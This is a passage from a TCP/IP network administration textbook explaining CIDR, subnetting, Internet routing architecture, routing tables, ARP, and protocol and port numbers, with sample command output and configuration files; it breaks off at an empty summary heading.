Originally network addresses were assigned in more or less sequential order as they were requested. This worked fine when the network was small and centralized. However, it did not take network topology into account. Thus only random chance would determine if the same intermediate routers would be used to reach network 195.4.12.0 and network 195.4.13.0, which makes it difficult to reduce the size of the routing table. Addresses can only be aggregated if they are contiguous numbers and are reachable through the same route. For example, if addresses are contiguous for one service provider, a single route can be created for that aggregation because that service provide will have a limited number of routes to the Internet. But if one network address is in France and the next contiguous address is in Australia, creating a consolidated route for these addresses does not work.

Today, large, contiguous blocks of addresses are assigned to large network service providers in a manner that better reflects the topology of the network. The service providers then allocate chunks of these address blocks to the organizations to which they provide network services. This alleviates the short-term shortage of class B addresses and, because the assignment of addressees reflects the topology of the network, it permits route aggregation. Under this new scheme, we know that network 195.4.12.0 and network 195.4.13.0 are reachable through the same intermediate routers. In fact, both of these addresses are in the range of the addresses assigned to Europe, 194.0.0.0 to 195.255.255.255. Assigning addresses that reflect the topology of the network enables route aggregation, but does not implement it. As long as network 195.4.12.0 and network 195.4.13.0 are interpreted as separate class C addresses, they will require separate entries in the routing table. A new, flexible way of defining addresses is needed.

Evaluating addresses according to the class rules discussed above limits the length of network numbers to 8, 16, or 24 bits - 1, 2, or 3 bytes. The IP address, however, is not really byte-oriented. It is 32 contiguous bits. A more flexible way to interpret the network and host portions of an address is with a bit mask. An address bit mask works in this way: if a bit is on in the mask, that equivalent bit in the address is interpreted as a network bit; if a bit in the mask is off, the bit belongs to the host part of the address. For example, if address 195.4.12.0 is interpreted as a class C address, the first 24 bits are the network number and the last 8 bits are the host address. The network mask that represents this is 255.255.255.0, 24 bits on and 8 bits off. The bit mask that is derived from the traditional class structure is called the default mask or the natural mask. However, with bit masks we are no longer limited by the address class structure. A mask of 255.255.0.0 can be applied to network address 195.4.0.0. This mask includes all addresses from 195.4.0.0 to 195.4.255.255 in a single network number. In effect, it creates a network number as large as a class B network in the class C address space. Using bit masks to create networks larger than the natural mask is called supernetting, and the use of a mask instead of the address class to determine the destination network is called Classless Inter-Domain Routing (CIDR). [3]

[3] CIDR is pronounced "cider."

CIDR requires modifications to the routers and routing protocols. The protocols need to distribute, along with the destination addresses, address masks that define how the addresses are interpreted. The routers and hosts need to know how to interpret these addresses as "classless" addresses and how to apply the bit mask that accompanies the address. Older routing protocols, such as Routing Information Protocol (RIP), and older operating systems do not support CIDR address masks. As the incorporation of the mask information in the routing table shows, new operating systems like Linux 2.0.0 do support CIDR.

# route
Kernel routing table
Destination  Gateway      Genmask         Flags MSS    Window Use Iface
172.16.26.32 *            255.255.255.224 U     1500   0        2 eth0
195.4.0.0    129.6.26.62  255.255.0.0     UG    1500   0        0 eth0
loopback     *            255.0.0.0       U     3584   0        1 lo
default      129.6.26.62  *               UG    1500   0        3 eth0

Specifying both the address and the mask is cumbersome when writing out addresses. A shorthand notation has been developed for writing CIDR addresses. Instead of writing network 172.16.26.32 with a mask of 255.255.255.224, we can write 172.16.26.32/27. The format of this notation is address/prefix-length, where prefix-length is the number of bits in the network portion of the address. Without this notation, the address 172.16.26.32 could easily be interpreted as a host address. RFC 1878 list all 32 possible prefix values. But little documentation is needed because the CIDR prefix is much easier to understand and remember than are address classes. I know that 10.104.0.19 is a class A address, but writing it as 10.104.0.19/8 shows me that this address has 8 bits for the network number and therefore 24 bits for the host number. I don't have to remember anything about the class A address structure.

CIDR is an interim solution, though it is capable of providing address and routing relief for many more years. The long-term solution is to replace the current addressing scheme with a new one. In the TCP/IP protocol suite addressing is defined by the IP protocol. Therefore, to define a new address structure, the Internet Engineering Task Force (IETF) created a new version of IP called IPv6. [4] IPv6 has a very large 128-bit address, so address depletion is not an issue. The large address also makes it possible to use a hierarchical address structure to reduce the burden on routers while still maintaining more than enough addresses for future network growth. Other benefits of IPv6 are:

[4] The current release of IP is IP version 4 (IPv4). IP version 5 is an experimental Stream Transport (ST) protocol used for real-time data delivery.

  • Improved security built into the protocol

  • Simplified, fixed-length, word-aligned headers to speed header processing and reduce overhead

  • Improved techniques for handling header options

IPv6 has several good features, but it is still a few years from widespread availability. In the meantime, the current generation of TCP/IP should be more than adequate for your network needs. On your network you will use IP and standard IP addressing.

2.2.2.1 Final notes on IP addresses

Not all network addresses or host addresses are available for use. We have already said that the addresses with a first byte greater than 223 cannot be used as host addresses. There are also two large pieces of the address space, 0.0.0.0/8 and 127.0.0.0/8, that are reserved for special uses. Network 0 designates the default route and network 127 is the loopback address. The default route is used to simplify the routing information that IP must handle. The loopback address simplifies network applications by allowing the local host to be addressed in the same manner as a remote host. We use these special network addresses when configuring a host.

There are also some host addresses reserved for special uses. In all network classes, host numbers 0 and 255 are reserved. An IP address with all host bits set to 0 identifies the network itself. For example, 10.0.0.0 refers to network 10, and 172.16.0.0 refers to network 172.16. Addresses in this form are used in routing table listings to refer to entire networks. An IP address with all host bits set to 1 is a broadcast address. [5] A broadcast address is used to simultaneously address every host on a network. The broadcast address for network 172.16 is 172.16.255.255. A datagram sent to this address is delivered to every individual host on network 172.16.

[5] Unfortunately, there are implementation-specific variations in broadcast addresses. Chapter 5, Basic Configuration , discusses these variations.

IP addresses are often called host addresses. While this is common usage, it is slightly misleading. IP addresses are assigned to network interfaces, not to computer systems. A gateway, such as almond (see Figure 2.1 has a different address for each network to which it is connected. The gateway is known to other devices by the address associated with the network that it shares with those devices. For example, peanut addresses almond as 172.16.12.1, while external hosts address it as 10.104.0.19.

Systems can be addressed in three different ways. Individual systems are directly addressed by a host address, which is called a unicast address. A unicast packet is addressed to one individual host. Groups of systems can be addressed using a multicast address, e.g., 224.0.0.9. Routers along the path from the source to destination recognize the special address and route copies of the packet to each member of the multicast group. [6] All systems on a network are addressed using the broadcast address, e.g., 172.16.255.255. The broadcast address depends on the broadcast capabilities of the underlying physical network.

[6] This is only partially true. Multicasting is not supported by every router. Sometimes it is necessary to tunnel through routers and networks by encapsulating the multicast packet inside of a unicast packet.

IP uses the network portion of the address to route the datagram between networks. The full address, including the host information, is used to make final delivery when the datagram reaches the destination network.

Previous: 2.1 Addressing, Routing, and Multiplexing | TCP/IP Network Administration | Next: 2.3 Subnets
2.1 Addressing, Routing, and Multiplexing | Book Index | 2.3 Subnets


[Chapter 2] 2.3 Subnets

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 2.2 The IP Address Chapter 2
Delivering the Data 		Next: 2.4 Internet Routing Architecture

2.3 Subnets

The structure of an IP address can be locally modified by using host address bits as additional network address bits. Essentially, the "dividing line" between network address bits and host address bits is moved, creating additional networks, but reducing the maximum number of hosts that can belong to each network. These newly designated network bits define a network within the larger network, called a subnet.

Organizations usually decide to subnet in order to overcome topological or organizational problems. Subnetting allows decentralized management of host addressing. With the standard addressing scheme, a central administrator is responsible for managing host addresses for the entire network. By subnetting, the administrator can delegate address assignment to smaller organizations within the overall organization - which may be a political expedient, if not a technical requirement. If you don't want to deal with the data processing department, assign them their own subnet and let them manage it themselves.

Subnetting can also be used to overcome hardware differences and distance limitations. IP routers can link dissimilar physical networks together, but only if each physical network has its own unique network address. Subnetting divides a single network address into many unique subnet addresses, so that each physical network can have its own unique address.

A subnet is defined by changing the bit mask of the IP address. A subnet mask functions in the same way as a normal address mask: an "on" bit is interpreted as a network bit; an "off" bit belongs to the host part of the address. The difference is that a subnet mask is only used locally. In the outside world the address is still interpreted as a standard IP address.

Assume we have been assigned network address 172.16.0.0/16. The subnet mask associated with that address is 255.255.0.0. The most commonly used subnet mask, and the one we use in most of our examples, extends the network portion of the address by an additional byte, e.g., 172.16.0.0/24. The subnet mask that does this is 255.255.255.0; all bits on in the first three bytes, and all bits off in the last byte. The first two bytes define the original network; the third byte defines the the subnet address; the fourth byte defines the host on that subnet.

Many network administrators prefer byte-oriented masks because they are easy to read and understand when addresses are written in dotted decimal notation. However, limiting subnet masks to byte boundaries does not take advantage of their true power. The subnet mask is bit-oriented. We could subdivide 172.16.0.0/16 into 16 subnets with the mask 255.255.240.0, i.e. 172.16.0.0/20. Applying this mask defines the four high-order bits of the third byte as the subnet part of the address, and the remaining 12 bits - four bits of the third byte and all of the fourth byte - as the host portion of the address. This creates 16 subnets that each contain more than four thousand host addresses, which may well be better suited to our network and organization. For example, we may have a small number of large subdivisions. Table 2.1 shows the subnets and host addresses produced by applying this subnet masks to network address 172.16.0.0/16.

Table 2.1: Effect of a Subnet Mask
Network Number | First Address | Last Address
172.16.0.0 | 172.16.0.1 | 172.16.15.254
172.16.16.0 | 172.16.16.1 | 172.16.31.254
172.16.32.0 | 172.16.32.1 | 172.16.47.254
172.16.48.0 | 172.16.48.1 | 172.16.63.254
172.16.64.0 | 172.16.64.1 | 172.16.79.254
172.16.80.0 | 172.16.80.1 | 172.16.95.254
172.16.96.0 | 172.16.96.1 | 172.16.111.254
172.16.112.0 | 172.16.112.1 | 172.16.127.254
172.16.128.0 | 172.16.128.1 | 172.16.143.254
172.16.144.0 | 172.16.144.1 | 172.16.159.254
172.16.160.0 | 172.16.160.1 | 172.16.175.254
172.16.176.0 | 172.16.176.1 | 172.16.191.254
172.16.192.0 | 172.16.192.1 | 172.16.207.254
172.16.208.0 | 172.16.208.1 | 172.16.223.254
172.16.224.0 | 172.16.224.1 | 172.16.239.254
172.16.240.0 | 172.16.240.1 | 172.16.254.254

You don't have to manually calculate a table like Table 2.1 to know what subnets and host addresses are produced by a subnet mask. The calculations have already been done for you. RFC 1878 lists all possible subnet masks and the valid addresses they produce.

Organizations have been discouraged from subnetting class C addresses because of the fear that subnetting reduces the number of host addresses to increase the number of network addresses. A class C network is limited to fewer than 255 host addresses. Further limiting the number of hosts would reduce the utility of a class C address. The mask 255.255.255.192 divides a class C address into four subnets of 64 host addresses. The fear is that the subnet address of all 0s and the subnet address of all 1s will not be usable. This leaves only two subnets; and because host addresses of all 1s and all 0s are also unusable, the remaining two subnets can only address 62 hosts. Therefore the address space of this class C network number is reduced from 254 hosts to 124 hosts. The fear of subnetting class C addresses is no longer justified.

Originally, the RFCs implied that you should not used subnet numbers of all 0s or all 1s. However, RFC 1812, Requirements for IP Version 4 Routers, makes it clear that subnets of all 0s and all 1s are legal and should be supported by all routers. Some older routers do not allow the use of these addresses despite the newer RFCs. Updating router software or hardware should make it possible for you to reliably subnet class C addresses.

Class C subnets are used when very small networks are needed for specialized network equipment, such as terminal servers, cluster controllers or routers. In some configurations an entire subnet may be consumed for the link between two routers. In this case only two host addresses are need, one for the router at each end of the link. A subnet mask of 255.255.255.252 applied to a class C address creates 64 subnets each containing four host addresses. In a special case this might be just what is needed.

Previous: 2.2 The IP Address | TCP/IP Network Administration | Next: 2.4 Internet Routing Architecture
2.2 The IP Address | Book Index | 2.4 Internet Routing Architecture


[Chapter 2] 2.4 Internet Routing Architecture

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 2.3 Subnets Chapter 2
Delivering the Data 		Next: 2.5 The Routing Table

2.4 Internet Routing Architecture

Chapter 1 described the evolution of the Internet architecture over the years. Along with these architectural changes have come changes in the way that routing information is disseminated within the network.

In the original Internet structure, there was a hierarchy of gateways. This hierarchy reflected the fact that the Internet was built upon the existing ARPANET. When the Internet was created, the ARPANET was the backbone of the network: a central delivery medium to carry long-distance traffic. This central system was called the core, and the centrally managed gateways that interconnected it were called the core gateways.

In that hierarchical structure, routing information about all of the networks in the Internet was passed into the core gateways. The core gateways processed the information, and then exchanged it among themselves using the Gateway to Gateway Protocol (GGP). The processed routing information was then passed back out to the external gateways. The core gateways maintained accurate routing information for the entire Internet.

Using the hierarchical core router model to distribute routing information has a major weakness: every route must be processed by the core. This places a tremendous processing burden on the core, and as the Internet grew larger the burden increased. In network-speak, we say that this routing model does not "scale well." For this reason, a new model emerged.

Even in the days of a single Internet, core groups of independent networks called autonomous systems (AS) existed outside of the core. The term "autonomous system" has a formal meaning in TCP/IP routing. An autonomous system is not merely an independent network. It is a collection of networks and gateways with its own internal mechanism for collecting routing information and passing it to other independent network systems. The routing information passed to the other network systems is called reachability information. Reachability information simply says which networks can be reached through that autonomous system. The Exterior Gateway Protocol (EGP) was the protocol used to pass reachability information between autonomous systems and into the core (see Figure 2.3

Figure 2.3: Gateway hierarchy

The new routing model is based on co-equal collections of autonomous systems, called routing domains. Routing domains exchange routing information with other domains using Border Gateway Protocol (BGP). Each routing domain processes the information it receives from other domains. Unlike the hierarchical model, this model does not depend on a single core system to choose the "best" routes. Each routing domain does this processing for itself; therefore, this model is more expandable. Figure 2.4 represents this model with three intersecting circles. Each circle is a routing domain. The overlapping areas are border areas, where routing information is shared. The domains share information, but do not rely on any one system to provide all routing information.

Figure 2.4: Routing domains

The problem with this model is: how are "best" routes determined in a global network if there is no central routing authority, like the core, that is trusted to determine the "best" routes? In the days of the NSFNET, the policy routing database (PRDB) was used to determine whether the reachability information advertised by an autonomous system was valid. But now, even the NSFNET does not play a central role.

To fill this void, NSF created the Routing Arbiter (RA) servers when it created the Network Access Points (NAPs) that replaced the role of the NSFNET. A route arbiter is located at each NAP. The server provides access to the Routing Arbiter Database (RADB), which replaced the PRDB. Internet Service Providers can query servers to validate the reachability information advertised by an autonomous system.

Many ISPs do not use the route servers. Instead they depend on formal and informal bilateral agreements. In essence, two ISPs get together and decide what reachability information each will accept from the other. They create, in effect, local routing policies. This is a slow manual process that probably will not be flexible enough for a rapidly growing Internet.

The RADB is only part of the Internet Routing Registry (IRR). As befits a distributed routing architecture, there are multiple organizations that validate and register routing information. Europeans were the pioneers in this. The Reseaux IP Europeens (RIPE) Network Control Center (NCC) provides the routing registry for European IP networks. Big network carriers, like MCI and ANS, provide registries for their customers. All of the registries share a common format based on the RIPE-181 standard.

Creating an effective routing architecture continues to be a major challenge for the Internet that will certainly evolve over time. No matter how it is derived, eventually the routing information winds up in your local gateway, where it is used by IP to make routing decisions.

Previous: 2.3 Subnets | TCP/IP Network Administration | Next: 2.5 The Routing Table
2.3 Subnets | Book Index | 2.5 The Routing Table


[Chapter 2] 2.5 The Routing Table

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 2.4 Internet Routing Architecture Chapter 2
Delivering the Data 		Next: 2.6 Address Resolution

2.5 The Routing Table

Gateways route data between networks; but all network devices, hosts as well as gateways, must make routing decisions. For most hosts, the routing decisions are simple:

  • If the destination host is on the local network, the data is delivered to the destination host.

  • If the destination host is on a remote network, the data is forwarded to a local gateway.

Because routing is network-oriented, IP makes routing decisions based on the network portion of the address. The IP module determines the network part of the destination's IP address by applying the network mask to the address. If the destination network is the local network, the mask that is applied may be the local subnet mask. If no mask is provided with the address, the address class determines the network portion of the address.

After determining the destination network, the IP module looks up the network in the local routing table. [7] Packets are routed toward their destination as directed by the routing table. The routing table may be built by the system administrator or by routing protocols, but the end result is the same; IP routing decisions are simple table look-ups.

[7] This table is also called the forwarding table.

You can display the routing table's contents with the netstat -nr command. The -r option tells netstat to display the routing table, and the -n option tells netstat to display the table in numeric form. It's useful to display the routing table in numeric form because the destination of most routes is a network, and networks are usually referred to by network numbers.

On a Solaris system, the netstat command displays the routing table with the following fields:

Destination

The destination network (or host).

Gateway

The gateway to use to reach the specified destination.

Flags

The flags describe certain characteristics of this route. The possible flag values are:

U

Indicates that the route is up and operational.

H

Indicates this is a route to a specific host (most routes are to networks).

G

Means the route uses a gateway. The system's network interfaces provide routes to directly connected networks. All other routes use remote gateways. Directly connected networks do not have the G flag set; all other routes do.

D

Means that this route was added because of an ICMP Redirect Message. When a system learns of a route via an ICMP Redirect, it adds the route to its routing table, so that additional packets bound for that destination will not need to be redirected. The system uses the D flag to mark these routes.

Ref

The number of times the route has been referenced to establish a connection.

Use

The number of packets transmitted via this route.

Interface

The name of the network interface [8] used by this route.

[8] The network interface is the network access hardware and software that IP uses to communicate with the physical network. See Chapter 6, Configuring the Interface , for details.

The only two fields important for our current discussion are the destination and gateway fields. The following is a sample routing table:

% netstat -nr
Routing Table:
Destination  Gateway        Flags  Ref    Use   Interface
----------- -----------     -----  ----  -----  ---------
127.0.0.1   127.0.0.1       UH      1      298       lo0
default     172.16.12.1     UG      2    50360
172.16.12.0 172.16.12.2     U      40   111379       le0
172.16.2.0  172.16.12.3     UG      4     1179
172.16.1.0  172.16.12.3     UG     10     1113
172.16.3.0  172.16.12.3     UG      2     1379
172.16.4.0  172.16.12.3     UG      4     1119

The first table entry is the loopback route for the local host. This is the loopback address mentioned earlier as a reserved network number. Because every system uses the loopback route to send datagrams to itself, this entry is in every host's routing table. The H flag is set because it is a route to a specific host (127.0.0.1), not a route to an entire network (127.0.0.0). We'll see the loopback facility again when we discuss kernel configuration and the ifconfig command. For now, however, our real interest is in external routes.

Another unique entry in the routing table is the entry with the word "default" in the destination field. This entry is for the default route, and the gateway specified in this entry is the default gateway. The default route is the other reserved network number mentioned earlier: 0.0.0.0. The default gateway is used whenever there is no specific route in the table for a destination network address. For example, this routing table has no entry for network 192.168.16.0. If IP receives any datagrams addressed to this network, it will send the datagram via the default gateway 172.16.12.1.

You can tell from the sample routing table display that this host (peanut) is directly connected to network 172.16.12.0. The routing table entry for that network does not specify an external gateway; i.e., the routing table entry for 172.16.12.0 does not have the G flag set. Therefore, peanut must be directly connected to that network.

All of the gateways that appear in a routing table are on networks directly connected to the local system. In the sample shown above this means that, regardless of the destination address, the gateway addresses all begin with 172.16.12. This is the only network to which peanut is directly attached, and therefore it is the only network to which peanut can directly deliver data. The gateways that peanut uses to reach the rest of the Internet must be on peanut's subnet.

In Figure 2.5 the IP layer of each host and gateway on our imaginary network is replaced by a small piece of a routing table, showing destination networks and the gateways used to reach those destinations. When the source host (172.16.12.2) sends data to the destination host (172.16.1.2), it first determines that 172.16.1.2 is the local network's official address and applies the subnet mask. (Network 172.16.0.0 is subnetted using the mask 255.255.255.0.) After applying the subnet mask, IP knows that the destination's network address is 172.16.1.0. The routing table in the source host shows that data bound for 172.16.1.0 should be sent to gateway 172.16.12.3. Gateway 172.16.12.3 makes direct delivery through its 172.16.1.5 interface. Examining the routing tables shows that all systems list only gateways on networks they are directly connected to. Note that 172.16.12.1 is the default gateway for both 172.16.12.2 and 172.16.12.3. But because 172.16.1.2 cannot reach network 172.16.12.0 directly, it has a different default route.

Figure 2.5: Table-based routing

A routing table does not contain end-to-end routes. A route points only to the next gateway, called the next hop, along the path to the destination network. [9] The host relies on the local gateway to deliver the data, and the gateway relies on other gateways. As a datagram moves from one gateway to another, it should eventually reach one that is directly connected to its destination network. It is this last gateway that finally delivers the data to the destination host.

[9] As we'll see in Chapter 7, Configuring Routing , some routing protocols, such as OSPF and BGP, obtain end-to-end routing information. Nevertheless, the packet is still passed to the next-hop router.

Previous: 2.4 Internet Routing Architecture | TCP/IP Network Administration | Next: 2.6 Address Resolution
2.4 Internet Routing Architecture | Book Index | 2.6 Address Resolution


[Chapter 2] 2.6 Address Resolution

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 2.5 The Routing Table Chapter 2
Delivering the Data 		Next: 2.7 Protocols, Ports, and Sockets

2.6 Address Resolution

The IP address and the routing table direct a datagram to a specific physical network, but when data travels across a network, it must obey the physical layer protocols used by that network. The physical networks that underlay the TCP/IP network do not understand IP addressing. Physical networks have their own addressing schemes, and there are as many different addressing schemes as there are different types of physical networks. One task of the network access protocols is to map IP addresses to physical network addresses.

The most common example of this network access layer function is the translation of IP addresses to Ethernet addresses. The protocol that performs this function is Address Resolution Protocol (ARP), which is defined in RFC 826.

The ARP software maintains a table of translations between IP addresses and Ethernet addresses. This table is built dynamically. When ARP receives a request to translate an IP address, it checks for the address in its table. If the address is found, it returns the Ethernet address to the requesting software. If the address is not found in the table, ARP broadcasts a packet to every host on the Ethernet. The packet contains the IP address for which an Ethernet address is sought. If a receiving host identifies the IP address as its own, it responds by sending its Ethernet address back to the requesting host. The response is then cached in the ARP table.

The arp command displays the contents of the ARP table. To display the entire ARP table, use the arp -a command. Individual entries can be displayed by specifying a hostname on the arp command line. For example, to check the entry for peanut in the ARP table on almond, enter:

% arp peanut
peanut (172.16.12.2) at 8:0:20:0:e:c8

Checking all entries in the table with the -a option produces the following output:

% arp -a
Net to Media Table

Device   IP Address                 Mask      Flags   Phys Addr
------ -----------------      --------------- ----- ---------------
le0    peanut.nuts.com        255.255.255.255       08:00:20:00:0e:c8
le0    acorn.nuts.com         255.255.255.255       08:00:02:05:21:33
le0    almond.nuts.com        255.255.255.255 SP    08:00:20:22:fd:51
le0    pecan.nuts.com         255.255.255.255       00:20:af:1e:7e:5f
le0    BASE-ADDRESS.MCAST.NET 240.0.0.0       SM    01:00:5e:00:00:00

This table tells you that when almond forwards datagrams addressed to peanut, it puts those datagrams into Ethernet frames and sends them to Ethernet address 08:00:20:00:0e:c8.

Three of the entries in the sample table (peanut, acorn, and pecan) were added dynamically as a result of queries by almond. Two of the entries (almond and BASE-ADDRESS.MCAST.NET) are static entries added as a result of the configuration of almond. We know this because both of these entries have an S, for "static," in the Flags field. The special BASE-ADDRESS.MCAST.NET entry is for all multicast addresses. The M flag means "mapping" and is only used for the multicast entry. On a broadcast medium like Ethernet, the Ethernet broadcast address is used to make final delivery to a multicast group.

The P flag on the almond entry means that this entry will be "published." The "publish" flag indicates that when an ARP query is received for the IP address of almond, this system answers it with the Ethernet address 08:00:20:22:fd:51. This is logical because this is the ARP table on almond. However, it is also possible to publish Ethernet addresses for other hosts, not just for the local host. Answering ARP queries for other computers is called proxy ARP.

For example: assume that acorn is the server for a remote system named hazel connected via a dial-up telephone line. Instead of setting up routing to the remote system, the administrator of acorn could place a static, published entry in the ARP table with the IP address of hazel and the Ethernet address of acorn. Now when acorn hears an ARP query for the IP address of hazel, it answers with its own Ethernet address. The other systems on the network therefore send packets destined for hazel to acorn. acorn then forwards the packets on to hazel over the telephone line. Proxy ARP is used to answer queries for systems that can't answer for themselves.

ARP tables normally don't require any attention because they are built automatically by the ARP protocol, which is very stable. However, if things go wrong, the ARP table can be manually adjusted. See Chapter 11, Troubleshooting TCP/IP , the section called "Troubleshooting with the arp Command."

Previous: 2.5 The Routing Table | TCP/IP Network Administration | Next: 2.7 Protocols, Ports, and Sockets
2.5 The Routing Table | Book Index | 2.7 Protocols, Ports, and Sockets


[Chapter 2] 2.7 Protocols, Ports, and Sockets

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 2.6 Address Resolution Chapter 2
Delivering the Data 		Next: 2.8 Summary

2.7 Protocols, Ports, and Sockets

Once data is routed through the network and delivered to a specific host, it must be delivered to the correct user or process. As the data moves up or down the TCP/IP layers, a mechanism is needed to deliver it to the correct protocols in each layer. The system must be able to combine data from many applications into a few transport protocols, and from the transport protocols into the Internet Protocol. Combining many sources of data into a single data stream is called multiplexing.

Data arriving from the network must be demultiplexed: divided for delivery to multiple processes. To accomplish this task, IP uses protocol numbers to identify transport protocols, and the transport protocols use port numbers to identify applications.

Some protocol and port numbers are reserved to identify well-known services. Well-known services are standard network protocols, such as FTP and telnet, that are commonly used throughout the network. The protocol numbers and port numbers allocated to well-known services are documented in the Assigned Numbers RFC. UNIX systems define protocol and port numbers in two simple text files.

2.7.1 Protocol Numbers

The protocol number is a single byte in the third word of the datagram header. The value identifies the protocol in the layer above IP to which the data should be passed.

On a UNIX system, the protocol numbers are defined in /etc/protocols. This file is a simple table containing the protocol name and the protocol number associated with that name. The format of the table is a single entry per line, consisting of the official protocol name, separated by whitespace from the protocol number. The protocol number is separated by whitespace from the "alias" for the protocol name. Comments in the table begin with #. An /etc/protocols file is shown below:

% cat /etc/protocols
#ident  "@(#)protocols  1.2     90/02/03 SMI"   /* SVr4.0 1.1   */

#
# Internet (IP) protocols
#
ip      0       IP      # internet protocol, pseudo protocol number
icmp    1       ICMP    # internet control message protocol
ggp     3       GGP     # gateway-gateway protocol
tcp     6       TCP     # transmission control protocol
egp     8       EGP     # exterior gateway protocol
pup     12      PUP     # PARC universal packet protocol
udp     17      UDP     # user datagram protocol
hmp     20      HMP     # host monitoring protocol
xns-idp 22      XNS-IDP # Xerox NS IDP
rdp     27      RDP     # "reliable datagram" protocol

The listing shown above is the contents of the /etc/protocols file from a Solaris 2.5.1 workstation. This list of numbers is by no means complete. If you refer to the Protocol Numbers section of the Assigned Numbers RFC, you'll see many more protocol numbers. However, a system needs to include only the numbers of the protocols that it actually uses. Even the list shown above is more than this specific workstation needed, but the additional entries do no harm.

What exactly does this table mean? When a datagram arrives and its destination address matches the local IP address, the IP layer knows that the datagram has to be delivered to one of the transport protocols above it. To decide which protocol should receive the datagram, IP looks at the datagram's protocol number. Using this table you can see that, if the datagram's protocol number is 6, IP delivers the datagram to TCP. If the protocol number is 17, IP delivers the datagram to UDP. TCP and UDP are the two transport layer services we are concerned with, but all of the protocols listed in the table use IP datagram delivery service directly. Some, such as ICMP, EGP, and GGP, have already been mentioned. You don't need to be concerned with the minor protocols.

2.7.2 Port Numbers

After IP passes incoming data to the transport protocol, the transport protocol passes the data to the correct application process. Application processes (also called network services) are identified by port numbers, which are 16-bit values. The source port number, which identifies the process that sent the data, and the destination port number, which identifies the process that is to receive the data, are contained in the first header word of each TCP segment and UDP packet.

On UNIX systems, port numbers are defined in the /etc/services file. There are many more network applications than there are transport layer protocols, as the size of the table shows. Port numbers below 256 are reserved for well-known services (like FTP and telnet) and are defined in the Assigned Numbers RFC. Ports numbered from 256 to 1024 are used for UNIX-specific services, services like rlogin that were originally developed for UNIX systems. However, most of them are no longer UNIX-specific.

Port numbers are not unique between transport layer protocols; the numbers are only unique within a specific transport protocol. In other words, TCP and UDP can, and do, both assign the same port numbers. It is the combination of protocol and port numbers that uniquely identifies the specific process to which the data should be delivered.

A partial /etc/services file from a Solaris 2.5.1 workstation is shown below. The format of this file is very similar to the /etc/protocols file. Each single-line entry starts with the official name of the service, separated by whitespace from the port number/protocol pairing associated with that service. The port numbers are paired with transport protocol names, because different transport protocols may use the same port number. An optional list of aliases for the official service name may be provided after the port number/protocol pair.

peanut% cat head -20 /etc/services
#ident  "@(#)services   1.13    95/07/28 SMI"   /* SVr4.0 1.8   */

#
# Network services, Internet style
#
tcpmux          1/tcp
echo            7/tcp
echo            7/udp
discard         9/tcp           sink null
discard         9/udp           sink null
systat          11/tcp          users
daytime         13/tcp
daytime         13/udp
netstat         15/tcp
chargen         19/tcp          ttytst source
chargen         19/udp          ttytst source
ftp-data        20/tcp
ftp             21/tcp
telnet          23/tcp
smtp            25/tcp          mail

This table, combined with the /etc/protocols table, provides all of the information necessary to deliver data to the correct application. A datagram arrives at its destination based on the destination address in the fifth word of the datagram header. Using the protocol number in the third word of the datagram header, IP delivers the data from the datagram to the proper transport layer protocol. The first word of the data delivered to the transport protocol contains the destination port number that tells the transport protocol to pass the data up to a specific application. Figure 2.6 shows this delivery process.

Figure 2.6: Protocol and port numbers

Despite its size, the /etc/protocols file does not contain the port number of every well-known application. You won't find the port number of every Remote Procedure Call (RPC) service in the services file. Sun developed a different technique for reserving ports for RPC services that doesn't involve registering well-known port numbers. When an RPC service starts, it picks any unused port number and registers that number with the portmapper. The portmapper is a program that keeps track of the port numbers being used by RPC services. When a client wants to use an RPC service, it queries the portmapper running on the server to discover the port assigned to the service. The client can find portmapper because it is assigned well-known port 111. portmapper makes it possible to install well-known services without formally obtaining a well-known port.

2.7.3 Sockets

Well-known ports are standardized port numbers that enable remote computers to know which port to connect to for a particular network service. This simplifies the connection process because both the sender and receiver know in advance that data bound for a specific process will use a specific port. For example, all systems that offer telnet do so on port 23.

There is a second type of port number called a dynamically allocated port. As the name implies, dynamically allocated ports are not pre-assigned. They are assigned to processes when needed. The system ensures that it does not assign the same port number to two processes, and that the numbers assigned are above the range of standard port numbers.

Dynamically allocated ports provide the flexibility needed to support multiple users. If a telnet user is assigned port number 23 for both the source and destination ports, what port numbers are assigned to the second concurrent telnet user? To uniquely identify every connection, the source port is assigned a dynamically allocated port number, and the well-known port number is used for the destination port.

In the telnet example, the first user is given a random source port number and a destination port number of 23 (telnet). The second user is given a different random source port number and the same destination port. It is the pair of port numbers, source and destination, that uniquely identifies each network connection. The destination host knows the source port, because it is provided in both the TCP segment header and the UDP packet header. Both hosts know the destination port because it is a well-known port.

Figure 2.7 shows the exchange of port numbers during the TCP handshake. The source host randomly generates a source port, in this example 3044. It sends out a segment with a source port of 3044 and a destination port of 23. The destination host receives the segment, and responds back using 23 as its source port and 3044 as its destination port.

Figure 2.7: Passing port numbers

The combination of an IP address and a port number is called a socket. A socket uniquely identifies a single network process within the entire Internet. Sometimes the terms "socket" and "port number" are used interchangeably. In fact, well-known services are frequently referred to as "well-known sockets." In the context of this discussion, a "socket" is the combination of an IP address and a port number. A pair of sockets, one socket for the receiving host and one for the sending host, define the connection for connection-oriented protocols such as TCP.

Let's build on the example of dynamically assigned ports and well-known ports. Assume a user on host 172.16.12.2 uses telnet to connect to host 192.168.16.2. Host 172.16.12.2 is the source host. The user is dynamically assigned a unique port number - 3382. The connection is made to the telnet service on the remote host which is, according to the standard, assigned well-known port 23. The socket for the source side of the connection is 172.16.12.2.3382 (IP address 172.16.12.2 plus port number 3382). For the destination side of the connection, the socket is 192.168.16.2.23 (address 192.168.16.2 plus port 23). The port of the destination socket is known by both systems because it is a well-known port. The port of the source socket is known, because the source host informed the destination host of the source socket when the connection request was made. The socket pair is therefore known by both the source and destination computers. The combination of the two sockets uniquely identifies this connection; no other connection in the Internet has this socket pair.

Previous: 2.6 Address Resolution | TCP/IP Network Administration | Next: 2.8 Summary
2.6 Address Resolution | Book Index | 2.8 Summary


[Chapter 2] 2.8 Summary

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 2.7 Protocols, Ports, and Sockets Chapter 2
Delivering the Data 		Next: 3. Network Services

2.8 Summary

